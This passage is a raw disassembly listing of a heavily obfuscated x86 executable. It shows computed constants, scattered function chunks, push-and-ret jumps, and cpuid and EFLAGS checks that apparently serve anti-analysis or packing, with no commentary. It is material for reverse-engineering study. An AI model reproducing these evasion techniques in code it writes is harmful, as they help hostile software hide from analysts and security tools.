wto1jq8f:0042A6BAj retn ; END OF FUNCTION CHUNK FOR sub_42AECE ; =============== S U B R O U T I N E ======================================= sub_42A467 proc near ; DATA XREF: sub_42AECE-A70o ; FUNCTION CHUNK AT 004247A0 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00424B42 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00425A6C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00426E30 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00427328 SIZE 0000000D BYTES mov eax, ds:dword_42E524 jmp loc_427328 sub_42A467 endp ; --------------------------------------------------------------------------- sbb esi, eax ; START OF FUNCTION CHUNK FOR sub_427143 loc_42A474: ; CODE XREF: sub_427143:loc_4292F0j jmp sub_42D434 ; END OF FUNCTION CHUNK FOR sub_427143 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42AA68 loc_42A479: ; CODE XREF: sub_42AA68+272Aj jl loc_4278A0 loc_42A47F: ; CODE XREF: sub_42AA68:loc_42FE17j push 0 call sub_42825A loc_42A486: ; CODE XREF: sub_428DDD+15j jmp loc_4241CD ; END OF FUNCTION CHUNK FOR sub_42AA68 ; --------------------------------------------------------------------------- loc_42A48B: ; CODE XREF: wto1jq8f:00425C97j ; wto1jq8f:loc_427C51j jp loc_426D35 ; =============== S U B R O U T I N E ======================================= sub_42A491 proc near ; CODE XREF: sub_4283CC+23B9p xchg edx, [esp+0] pop edx lea eax, [ebp-0Ch] push eax call sub_428DDD sub_42A491 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_42481C loc_42A49E: ; CODE XREF: sub_42481C:loc_42F979j pop ebp retn ; END OF FUNCTION CHUNK FOR sub_42481C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42970D loc_42A4A0: ; CODE XREF: sub_42970D+2ADCj jmp loc_4298E1 ; END OF FUNCTION CHUNK FOR sub_42970D ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42A4A5 proc near ; CODE XREF: sub_42481C+8p push ebp mov ebp, esp push ecx mov esp, ebp pop ebp call sub_425F4F loc_42A4B1: ; CODE XREF: wto1jq8f:00426C2Dj mov ds:dword_429584, eax locret_42A4B7: ; CODE XREF: sub_42D86F:loc_42449Fj ; sub_426C0C:loc_42F04Dj retn sub_42A4A5 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429816 loc_42A4B8: ; CODE XREF: sub_429816+1Aj jmp loc_42D172 ; END OF FUNCTION CHUNK FOR sub_429816 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429471 loc_42A4BD: ; CODE XREF: sub_429471+8j ; sub_42D120+2j ror eax, 17h push eax call sub_42D765 retn ; END OF FUNCTION CHUNK FOR sub_429471 ; --------------------------------------------------------------------------- loc_42A4C7: ; CODE XREF: wto1jq8f:004286FBj jmp loc_428785 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C0D7 loc_42A4CC: ; CODE XREF: sub_42C0D7-4B61j mov eax, ds:dword_429050 or eax, eax jnz loc_4295C4 jmp loc_426417 ; END OF FUNCTION CHUNK FOR sub_42C0D7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4244EA loc_42A4DF: ; CODE XREF: sub_4244EA+Cj ; wto1jq8f:0042688Fj call sub_42DE65 loc_42A4E4: ; CODE XREF: sub_42B2C4+Fj jnz loc_42FD57 jmp loc_42B97F ; END OF FUNCTION CHUNK FOR sub_4244EA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E9E8 loc_42A4EF: ; CODE XREF: sub_42E9E8:loc_42B1F5j jz loc_4284A1 jmp loc_42B0DD ; END OF FUNCTION CHUNK FOR sub_42E9E8 ; =============== S U B R O U T I N E ======================================= sub_42A4FA proc near ; CODE XREF: sub_4260DB+57EDj ; sub_426E98:loc_42B9C1p xchg edx, [esp+0] loc_42A4FD: ; CODE XREF: wto1jq8f:loc_42C710j pop edx jmp loc_42EA25 sub_42A4FA endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4245D6 loc_42A503: ; CODE XREF: sub_4245D6-226j ; wto1jq8f:00428043j ... call dword ptr [ebp-4] neg eax sbb eax, eax push offset sub_42D789 jmp loc_426FD1 ; END OF FUNCTION CHUNK FOR sub_4245D6 ; --------------------------------------------------------------------------- xor eax, 200000h xchg eax, ecx push ecx xchg eax, ecx popf pushf xchg edi, [esp] push edi jmp loc_42AF6E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A6CD loc_42A529: ; CODE XREF: sub_42A6CD+11j jnz loc_42C8F1 jmp loc_42957C ; END OF FUNCTION CHUNK FOR sub_42A6CD ; --------------------------------------------------------------------------- mov edx, 8D40711Dh push eax push 18952095h pop eax call sub_429E99 ; START OF FUNCTION CHUNK FOR sub_4259FF loc_42A545: ; CODE XREF: sub_4259FF+Aj jmp loc_426B93 ; END OF FUNCTION CHUNK FOR sub_4259FF ; =============== S U B R O U T I N E ======================================= sub_42A54A proc near ; CODE XREF: wto1jq8f:00427E75j ; sub_42C0DF+3912p var_4 = dword ptr -4 mov [esp+0], ecx pop ecx push eax push eax push 775BD709h pop eax add eax, 88E689EAh xchg eax, [esp+4+var_4] jmp sub_42AECE sub_42A54A endp ; =============== S U B R O U T I N E ======================================= sub_42A564 proc near ; DATA XREF: sub_42A8ED:loc_428D32o mov esp, ebp pop ebp retn sub_42A564 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E9E8 loc_42A568: ; CODE XREF: sub_42E9E8-2160j jmp nullsub_151 ; END OF FUNCTION CHUNK FOR sub_42E9E8 ; =============== S U B R O U T I N E ======================================= sub_42A56D proc near ; CODE XREF: sub_42A8ED-64B6p ; sub_42481C+130p ... push ebp call sub_42EA31 loc_42A573: ; CODE XREF: sub_42E597:loc_42D658j call sub_42A3BC loc_42A578: ; CODE XREF: wto1jq8f:00429DC0j jmp nullsub_42 sub_42A56D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427DA7 loc_42A57D: ; CODE XREF: sub_427DA7-D38j jmp loc_42A96E ; END OF FUNCTION CHUNK FOR sub_427DA7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E541 loc_42A582: ; CODE XREF: sub_42E541:loc_42E43Aj or [edx-8], eax loc_42A585: ; CODE XREF: sub_42F75D-79F4j ; wto1jq8f:loc_42A386j ... jb loc_428C5A cmp dword ptr [ebp-14h], 4 jnz loc_42AC2F jmp loc_42EF19 ; END OF FUNCTION CHUNK FOR sub_42E541 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_159. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42A59B proc near ; DATA XREF: sub_429B76-1FD6o ; wto1jq8f:0042DE99o ; FUNCTION CHUNK AT 0042BBAE SIZE 00000005 BYTES push ebp mov ebp, esp push offset sub_4260DB jmp loc_42BBAE sub_42A59B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_42A5A8: ; CODE XREF: sub_426535+5C4Dj jz loc_42865F jmp loc_42D5E4 ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- loc_42A5B3: ; CODE XREF: wto1jq8f:loc_4271E7j xchg esi, [esp] mov ebp, esi pop esi jmp loc_428B27 ; =============== S U B R O U T I N E ======================================= sub_42A5BE proc near ; CODE XREF: sub_428501+4j ; FUNCTION CHUNK AT 0042E0D1 SIZE 00000010 BYTES push ebx jmp loc_42E0D1 sub_42A5BE endp ; =============== S U B R O U T I N E ======================================= sub_42A5C4 proc near ; CODE XREF: wto1jq8f:00424E28j ; wto1jq8f:00425F17p ; FUNCTION CHUNK AT 0042ABB1 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0042BB08 SIZE 00000005 BYTES xchg ecx, [esp+0] pop ecx push 0C1DBC2FBh xchg edi, [esp+0] jmp loc_42BB08 sub_42A5C4 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_42A5D5 proc near ; CODE XREF: wto1jq8f:004276F1p xchg edx, [esp+0] pop edx mov byte ptr [ebp-805h], 0 mov byte ptr [ebp-804h], 0 call sub_42E919 sub_42A5D5 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_42E04D loc_42A5EC: ; CODE XREF: sub_42E04D-1862j jmp loc_42FEE3 ; END OF FUNCTION CHUNK FOR sub_42E04D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426950 loc_42A5F1: ; CODE XREF: sub_426950-207Dj jmp loc_42AD8A ; END OF FUNCTION CHUNK FOR sub_426950 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42AA68 loc_42A5F6: ; CODE XREF: sub_42AA68+3A30j rol ebx, 7 add ebx, 6D3916B1h add ebx, ebp add ebx, 0A20E2E19h jmp loc_42BE9E ; END OF FUNCTION CHUNK FOR sub_42AA68 ; --------------------------------------------------------------------------- dd 1DAB8A0Fh, 33E90000h db 3Dh, 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_42A617 proc near ; CODE XREF: sub_426968+C83p ; wto1jq8f:0042CD7Cj ; FUNCTION CHUNK AT 00426119 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0042636F SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0042D6F9 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0042F221 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0042FE89 SIZE 00000005 BYTES xchg ecx, [esp+0] pop ecx test byte ptr [eax-10h], 38h jnz loc_42D6FF jmp loc_42636F sub_42A617 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4294F4 loc_42A62A: ; CODE XREF: wto1jq8f:loc_42DAA9j ; sub_4294F4+631Fj jnz loc_427E5F lea eax, [ebp+var_14] call sub_427E50 ; END OF FUNCTION CHUNK FOR sub_4294F4 ; START OF FUNCTION CHUNK FOR sub_42C486 loc_42A638: ; CODE XREF: sub_42C486+2C73j jmp locret_42F395 ; END OF FUNCTION CHUNK FOR sub_42C486 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4243D7 loc_42A63D: ; CODE XREF: sub_4243D7+Ej jmp loc_426227 ; END OF FUNCTION CHUNK FOR sub_4243D7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E9E8 loc_42A642: ; CODE XREF: sub_42E9E8+13j jnz loc_426A19 jmp loc_427361 ; END OF FUNCTION CHUNK FOR sub_42E9E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4266B1 loc_42A64D: ; CODE XREF: sub_4266B1:loc_42B1FFj jz loc_429BEC jmp loc_425CF5 ; END OF FUNCTION CHUNK FOR sub_4266B1 ; --------------------------------------------------------------------------- loc_42A658: ; CODE XREF: wto1jq8f:loc_4264C8j inc dword ptr [ebp-4] cmp dword ptr [ebp-4], 100h jnz loc_42C912 jmp loc_42E6FB ; --------------------------------------------------------------------------- cdq jmp loc_42F216 ; --------------------------------------------------------------------------- mov edx, [eax] jmp loc_424DAB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A909 loc_42A67A: ; CODE XREF: sub_42A909-715j mov esi, 75291D36h jmp loc_42FA2E ; END OF FUNCTION CHUNK FOR sub_42A909 ; --------------------------------------------------------------------------- jmp loc_429D18 ; --------------------------------------------------------------------------- jmp loc_4272D9 ; --------------------------------------------------------------------------- loc_42A68E: ; CODE XREF: wto1jq8f:0042D2D2j push eax push 0F3B1516h pop eax and eax, 0CCF47B94h jmp loc_42E760 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F987 loc_42A6A0: ; CODE XREF: sub_42F987:loc_4273EDj mov ebx, esi pop esi add ebx, 787C6386h xchg ebx, [esp+4+var_4] jmp sub_42660F ; END OF FUNCTION CHUNK FOR sub_42F987 ; --------------------------------------------------------------------------- loc_42A6B1: ; CODE XREF: wto1jq8f:004261CDj ror edi, 0Eh jno loc_42D311 jg locret_42A466 and edx, 8576A679h mov esi, [eax] jmp loc_425F61 ; =============== S U B R O U T I N E ======================================= sub_42A6CD proc near ; CODE XREF: sub_42D993:loc_4294AAp ; wto1jq8f:0042EBBBj arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00424C2E SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00425AB2 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00425AD0 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00425E60 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 00426E06 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042746B SIZE 0000001D BYTES ; FUNCTION CHUNK AT 004281D5 SIZE 00000003 BYTES ; FUNCTION CHUNK AT 0042828A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004285D0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428905 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00428CB7 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00428D1D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042957C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042A529 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042A916 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042BCDB SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0042C803 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0042C8ED SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0042CCE8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042D595 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0042D684 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0042E79B SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0042E7E4 SIZE 00000024 BYTES ; FUNCTION CHUNK AT 0042EB14 SIZE 00000005 BYTES mov [esp+0], ecx pop ecx call sub_42F185 test al, al jz nullsub_44 jmp loc_42A529 sub_42A6CD endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42A6E3 proc near ; DATA XREF: sub_42EADC+178o var_C = dword ptr -0Ch mov ebp, esp add esp, 0FFFFFFF8h push ebx push 0B36E214Dh pop ebx add ebx, 4CD47B48h xchg ebx, [esp+0Ch+var_C] jmp sub_427F4E sub_42A6E3 endp ; --------------------------------------------------------------------------- mov edx, 729645CDh push eax call sub_4245FF ; START OF FUNCTION CHUNK FOR sub_4244EA loc_42A708: ; CODE XREF: sub_4244EA+B458j jmp loc_42DC7A ; END OF FUNCTION CHUNK FOR sub_4244EA ; --------------------------------------------------------------------------- loc_42A70D: ; CODE XREF: wto1jq8f:00428768j jmp locret_4277F4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425C40 loc_42A712: ; CODE XREF: sub_425C40+8j jmp loc_427176 ; END OF FUNCTION CHUNK FOR sub_425C40 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4269FD loc_42A717: ; CODE XREF: sub_4269FD:loc_42E765j jz loc_42A21C jmp loc_429F8E ; END OF FUNCTION CHUNK FOR sub_4269FD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429F7D loc_42A722: ; CODE XREF: sub_429F7D+1F74j pop ecx loc_42A723: ; CODE XREF: sub_429F7D:loc_42B515j call nullsub_4 locret_42A728: ; CODE XREF: sub_42F2C7:loc_425B31j retn ; END OF FUNCTION CHUNK FOR sub_429F7D ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E9E8 loc_42A72A: ; CODE XREF: sub_42E9E8-3290j jmp loc_42FFD6 ; END OF FUNCTION CHUNK FOR sub_42E9E8 ; --------------------------------------------------------------------------- db 0E2h dword_42A730 dd 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42760F loc_42A734: ; CODE XREF: sub_42760F+5E82j jmp nullsub_104 ; END OF FUNCTION CHUNK FOR sub_42760F ; --------------------------------------------------------------------------- db 0C7h, 62h, 13h dword_42A73C dd 0 ; sub_42660F-70Cr ... ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CF89 loc_42A740: ; CODE XREF: sub_42CF89+Aj jmp loc_424257 ; END OF FUNCTION CHUNK FOR sub_42CF89 ; --------------------------------------------------------------------------- db 0D5h, 87h, 0F2h dword_42A748 dd 0 ; sub_4262CE+930w ... ; --------------------------------------------------------------------------- loc_42A74C: ; CODE XREF: wto1jq8f:00429348j test ebx, 72096714h jmp loc_42BC33 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424D3A loc_42A757: ; CODE XREF: sub_424D3A:loc_424D3Bj mov ebp, esp add esp, 0FFFFF7ECh push 339D7377h pop eax sub eax, ds:4000F0h rol eax, 16h jmp loc_42D8A9 ; END OF FUNCTION CHUNK FOR sub_424D3A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428AC6 loc_42A773: ; CODE XREF: sub_428AC6+181Fj call sub_4272B5 loc_42A778: ; CODE XREF: sub_4283CC+4679j xchg ebp, [ecx] loc_42A77A: ; CODE XREF: sub_4283CC:loc_42EF0Ej jmp loc_42EC1B ; END OF FUNCTION CHUNK FOR sub_428AC6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4283CC loc_42A77F: ; CODE XREF: sub_4283CC+5j jo loc_428B81 call sub_42A491 ; END OF FUNCTION CHUNK FOR sub_4283CC ; START OF FUNCTION CHUNK FOR sub_42CB49 loc_42A78A: ; CODE XREF: sub_42CB49:loc_425A62j add eax, 6CEF50A3h cpuid cmp eax, 80000000h jbe loc_4248DF jmp loc_4284E1 ; END OF FUNCTION CHUNK FOR sub_42CB49 ; --------------------------------------------------------------------------- loc_42A7A2: ; DATA XREF: sub_425CE2:loc_42778Do push edx push eax mov eax, [ebp-18h] add eax, eax cdq add eax, [esp] adc edx, [esp+4] add esp, 8 jmp loc_42FAAE ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_91. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C0D7 loc_42A7BA: ; CODE XREF: sub_42C0D7+191j jmp sub_42DFE5 ; END OF FUNCTION CHUNK FOR sub_42C0D7 ; --------------------------------------------------------------------------- loc_42A7BF: ; CODE XREF: wto1jq8f:00426583j jmp loc_427FA2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42760F loc_42A7C4: ; CODE XREF: sub_42760F:loc_4249ACj mov eax, [ebp-1Ch] mov al, [eax] push offset loc_42A9F4 jmp loc_42D11B ; END OF FUNCTION CHUNK FOR sub_42760F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4284EC loc_42A7D3: ; CODE XREF: sub_4284EC+6204j ror eax, 8 loc_42A7D6: ; CODE XREF: wto1jq8f:loc_4297E9j push eax retn ; END OF FUNCTION CHUNK FOR sub_4284EC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42FACF loc_42A7D8: ; CODE XREF: sub_42FACF+10j jmp loc_424830 ; END OF FUNCTION CHUNK FOR sub_42FACF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428430 loc_42A7DD: ; CODE XREF: sub_428430+1j jmp loc_42E108 ; END OF FUNCTION CHUNK FOR sub_428430 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42A7E2 proc near ; CODE XREF: sub_42DE87-5D58j ; wto1jq8f:00429F1Ep ; FUNCTION CHUNK AT 00425B5D SIZE 00000005 BYTES push ebp mov ebp, esp push offset loc_424375 jmp loc_425B5D sub_42A7E2 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424D58 loc_42A7EF: ; CODE XREF: sub_424D58+7708j ror eax, 17h push esi mov esi, eax xchg esi, [esp+4+var_4] jmp loc_42915B ; END OF FUNCTION CHUNK FOR sub_424D58 ; --------------------------------------------------------------------------- locret_42A7FD: ; CODE XREF: wto1jq8f:loc_42CC5Bj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F6A9 loc_42A7FE: ; CODE XREF: sub_42F6A9-152Fj jmp loc_424D91 ; END OF FUNCTION CHUNK FOR sub_42F6A9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D434 loc_42A803: ; CODE XREF: sub_42D434+6ABj jmp loc_42CB7A ; END OF FUNCTION CHUNK FOR sub_42D434 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429F7D loc_42A808: ; CODE XREF: sub_429F7D+2B5j jmp sub_427A8D ; END OF FUNCTION CHUNK FOR sub_429F7D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424BD4 loc_42A80D: ; CODE XREF: sub_424BD4-2D3j jmp loc_42AC2F ; END OF FUNCTION CHUNK FOR sub_424BD4 ; --------------------------------------------------------------------------- loc_42A812: ; CODE XREF: wto1jq8f:0042835Cj ; DATA XREF: wto1jq8f:00428763o add edx, 254CE74h call sub_428B3B push offset sub_42CE5D jmp locret_42F9C2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428D47 loc_42A827: ; CODE XREF: sub_428D47-160Dj sub ecx, 11C3C078h xor ecx, 81942242h add ecx, ebp add ecx, 0F7FB2A0Dh mov ecx, [ecx] push ebx jmp loc_42C9AA ; END OF FUNCTION CHUNK FOR sub_428D47 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42506F loc_42A843: ; CODE XREF: sub_42506F:loc_426A4Aj jnz loc_428BDF jmp loc_42A2EB ; END OF FUNCTION CHUNK FOR sub_42506F ; --------------------------------------------------------------------------- loc_42A84E: ; CODE XREF: wto1jq8f:0042B74Bj mov [ecx+0B8h], eax pop ecx xor eax, eax retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42903A loc_42A858: ; CODE XREF: sub_42903A+Fj jmp nullsub_135 ; END OF FUNCTION CHUNK FOR sub_42903A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426C0C loc_42A85D: ; CODE XREF: sub_426C0C+6B0Cj jp loc_42D822 pop edi mov [edi], esi loc_42A866: ; CODE XREF: sub_426C0C:loc_42C964j lea eax, [ebp-25Ch] cmp dword ptr [eax], 47424454h jmp loc_42EAE2 ; END OF FUNCTION CHUNK FOR sub_426C0C ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_121. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D9D9 loc_42A878: ; CODE XREF: sub_42D9D9+1Ej jmp loc_429D86 ; END OF FUNCTION CHUNK FOR sub_42D9D9 ; --------------------------------------------------------------------------- loc_42A87D: ; CODE XREF: wto1jq8f:loc_42FB7Fj jnz loc_427C0C jmp loc_42FF95 ; --------------------------------------------------------------------------- loc_42A888: ; CODE XREF: wto1jq8f:0042DDACj mov edi, 0D62C2116h ; =============== S U B R O U T I N E ======================================= sub_42A88D proc near ; CODE XREF: wto1jq8f:00426DF7p ; FUNCTION CHUNK AT 00427421 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427777 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00428B1A SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00428F4C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00429BE7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042B2D8 SIZE 00000024 BYTES ; FUNCTION CHUNK AT 0042F66C SIZE 00000014 BYTES mov [esp+0], esi pop esi add eax, 5949AAAAh mov eax, [eax] or eax, eax jnz loc_4263E7 jmp loc_429BE7 sub_42A88D endp ; sp-analysis failed ; --------------------------------------------------------------------------- test eax, eax jnz loc_429445 jmp loc_4272EE ; --------------------------------------------------------------------------- loc_42A8B3: ; CODE XREF: wto1jq8f:0042FCFDj test eax, eax jz loc_425F96 jmp loc_424C05 ; --------------------------------------------------------------------------- loc_42A8C0: ; CODE XREF: wto1jq8f:00425AFFj jnb loc_429268 rol edi, 0Dh jmp loc_424F51 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_150. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B02D loc_42A8CF: ; CODE XREF: sub_42B02D+387j jmp loc_42D80A ; END OF FUNCTION CHUNK FOR sub_42B02D ; --------------------------------------------------------------------------- mov edx, 64EFA9EDh push ebx push 85B64704h pop ebx xor ebx, 0E2D98D15h jmp loc_4241DF ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_23. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_42A8EC: ; CODE XREF: wto1jq8f:004275B7j cdq ; =============== S U B R O U T I N E ======================================= sub_42A8ED proc near ; CODE XREF: sub_42ED32p ; FUNCTION CHUNK AT 0042442B SIZE 00000021 BYTES ; FUNCTION CHUNK AT 00427916 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428D32 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042BA9F SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042CAD3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042D12E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042D376 SIZE 00000021 BYTES mov [esp+0], ebx pop ebx js sub_42D397 push ebp mov ebp, esp add esp, 0FFFFFFECh cmp ds:byte_425920, 0 jmp loc_427916 sub_42A8ED endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_42A909 proc near ; DATA XREF: wto1jq8f:0042D56Eo var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00424024 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 004241C6 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 004242E1 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00424473 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 004247F2 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00424D27 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00425098 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00425C8A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00427417 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 004275A3 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00427EEA SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00427F74 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 004285D5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428E4D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00428EB6 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00428ED1 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00429091 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042997C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00429F2C SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0042A1EE SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042A67A SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042A950 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042AB2F SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042ACAC SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0042AFA5 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0042B297 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042B872 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0042C58A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042D23E SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0042E71D SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0042E81B SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0042ED98 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042F718 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042FA2E SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0042FA84 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042FF67 SIZE 00000016 BYTES test al, al jz loc_42A950 jmp loc_425C8A sub_42A909 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A6CD loc_42A916: ; CODE XREF: sub_42A6CD+4136j jz loc_42E79B jmp loc_4285D0 ; END OF FUNCTION CHUNK FOR sub_42A6CD ; --------------------------------------------------------------------------- push eax rol eax, 0Fh mov ds:dword_42954C, eax retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B8FC loc_42A92C: ; CODE XREF: sub_42B8FC+180Ej call sub_42EEB0 loc_42A931: ; CODE XREF: sub_42A909+293Bj jnb loc_42808C not edi popf loc_42A93A: ; CODE XREF: sub_42A909:loc_425C8Aj call nullsub_5 retn ; END OF FUNCTION CHUNK FOR sub_42B8FC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42BE69 loc_42A940: ; CODE XREF: sub_42BE69+3D81j jmp nullsub_188 ; END OF FUNCTION CHUNK FOR sub_42BE69 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424702 loc_42A945: ; CODE 